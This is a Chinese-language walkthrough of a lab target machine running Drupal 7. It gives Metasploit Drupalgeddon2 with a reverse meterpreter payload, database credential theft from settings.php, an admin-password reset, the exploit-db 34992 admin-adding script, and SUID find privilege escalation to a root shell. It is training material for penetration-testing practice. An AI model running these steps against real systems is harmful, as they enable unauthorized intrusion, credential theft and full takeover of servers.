本文章仅供学习和参考!
欢迎交流~
目录
9. 选择Rank为excellent 的exp,输入命令:
11. 设置payload为php/meterpreter/reverse_tcp,输入命令:
15. 在shell中搜索settings.php的位置,输入命令:
20. information_schema是系统数据库,没什么用,所以我们直接看drupaldb数据库,输入命令:
22. 可以看见flag3的位置(uid为1的用户是不受Drupal权限管制的,具有最高权限),尝试获取flag3
24. 进入目录/home/flag4,并查看文件内容,输入命令:
一、实验题目:综合靶机实验
二、实验内容:
1. 使用msf搜索可利用漏洞(drupal)
2. 寻找目标网站的配置文件
3. 数据库管理员提权(更新管理员密码或者添加一个新用户)
4. suid提权的命令(nmap、vim、find、bash、more、less、nano、cp)
三、实验环境:
1.kali虚拟机:192.168.112.130
2. 靶机:192.168.112.138
四、实验步骤:
1. 搜索存活靶机,输入命令:
masscan 网段 -p 80
2. 打开浏览器输入搜索到的靶机:
3. 下载插件WappaLyzer:
firefox浏览器右上角 -> Add-ons -> Extensions ->搜索“WappaLyzer” ->安装 ->安装成功后刷新页面即可
发现是个drupal框架的页面,版本是drupal7
4. 尝试sql注入:
方法可参照其他教程
5. 扫描网站路径:
(1)下载dirsearch工具(或者使用Windows的御剑),输入命令:
sudo apt-get install dirsearch
(2) 使用工具扫描,输入命令:
dirsearch -u 靶机IP
结果如下:
6. 尝试搜索drupal漏洞,输入命令:
searchsploit drupal
7. 打开msfconsole,输入命令:
msfconsole
8. 寻找exp,输入命令:
search drupal
9. 选择Rank为excellent 的exp,输入命令:
use 4
或者
use exploit/unix/webapp/drupal_drupalgeddon2
10. 设置exp中的options,输入命令:
set RHOST 靶机IP
11. 设置payload为php/meterpreter/reverse_tcp,输入命令:
set payload php/meterpreter/reverse_tcp
12. 运行模块,输入命令:
run
或者 exploit
成功进入!
13. 寻找flag,输入命令:
ls
14. 查看flag1文件的内容,输入命令:
cat flag1.txt
提示cms,说明有配置文件,百度发现drupal的配置文件位置是settings.php
15. 在shell中搜索settings.php的位置,输入命令:
search -f settings.php
16. 查看setting.php文件的内容,输入命令:
cat sites/default/settings.php
17. 进到系统shell,尝试登录数据库,输入命令:
shell
python -c "import pty;pty.spawn('/bin/bash')"
18. 登录数据库,输入命令:
mysql -u dbuser -p
19. 查看数据库,输入命令:
show databases;
20. information_schema是系统数据库,没什么用,所以我们直接看drupaldb数据库,输入命令:
use drupaldb
show tables;
主要关注node表,role表,users表:
21. 查看各个表中的内容,输入命令:
select * from users;
select * from role,node;
22. 可以看见flag3的位置(uid为1的用户是不受Drupal权限管制的,具有最高权限),尝试获取flag3
(1)方法一:重置管理员密码
● 寻找hash加密的脚本
● 使用这个脚本生成一个新密码,回到上一级目录,输入命令:
./scripts/password-hash.sh 新密码
● 进入数据库换新密码,输入命令:
mysql -u dbuser -p
R0ck3t
update drupaldb.users set pass="新密码的hash值" where uid=1;
● 尝试用新密码登录(admin/新密码):
登录成功! 接下来在Content中找flag3即可:
(2)方法二:添加一个管理员权限的用户
● 查看准确的drupal的版本信息,输入命令:
cd includes
cat bootstrap.inc # 信息太多,过滤一下
cat bootstrap.inc | grep VERSION
版本号为 7.24
● 版本符合且小于7.31即可利用exp就是添加管理员,输入命令:
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://靶机IP -u jagger -p jagger
python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://靶机IP -u jagger -p jagger
python3 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://靶机IP -u jagger -p jagger
可能会因为python版本不同会提示不同的错误
● 尝试用新用户登录:
登录成功! 接下来在Content中找flag3即可。
23. 查看password文件,输入命令:
cat /etc/passwd
发现flag4 ,在目录/home/flag4下
24. 进入目录/home/flag4,并查看文件内容,输入命令:
cd /home/flag4
cat flag4.txt
flag在root用户文件夹下,需要提权,因为www-data用户,是普通用户权限,root文件夹只有root权限才能访问
25. 尝试提权root:
(1)用以下命令查找具有root权限的SUID的文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb { }
因为不同系统适用于不同的命令,因此需要一个一个试
发现find本身就是root权限,而find是可以执行命令的
(2) 确认find的权限,输入命令:
ls -lh /usr/bin/find
(3) 调用系统的 /bin/sh运行程序,输入命令:
find ./ a -exec '/bin/sh' \;
(4) 进入目录/root获取最后一个flag:
成功拿下最后一个flag!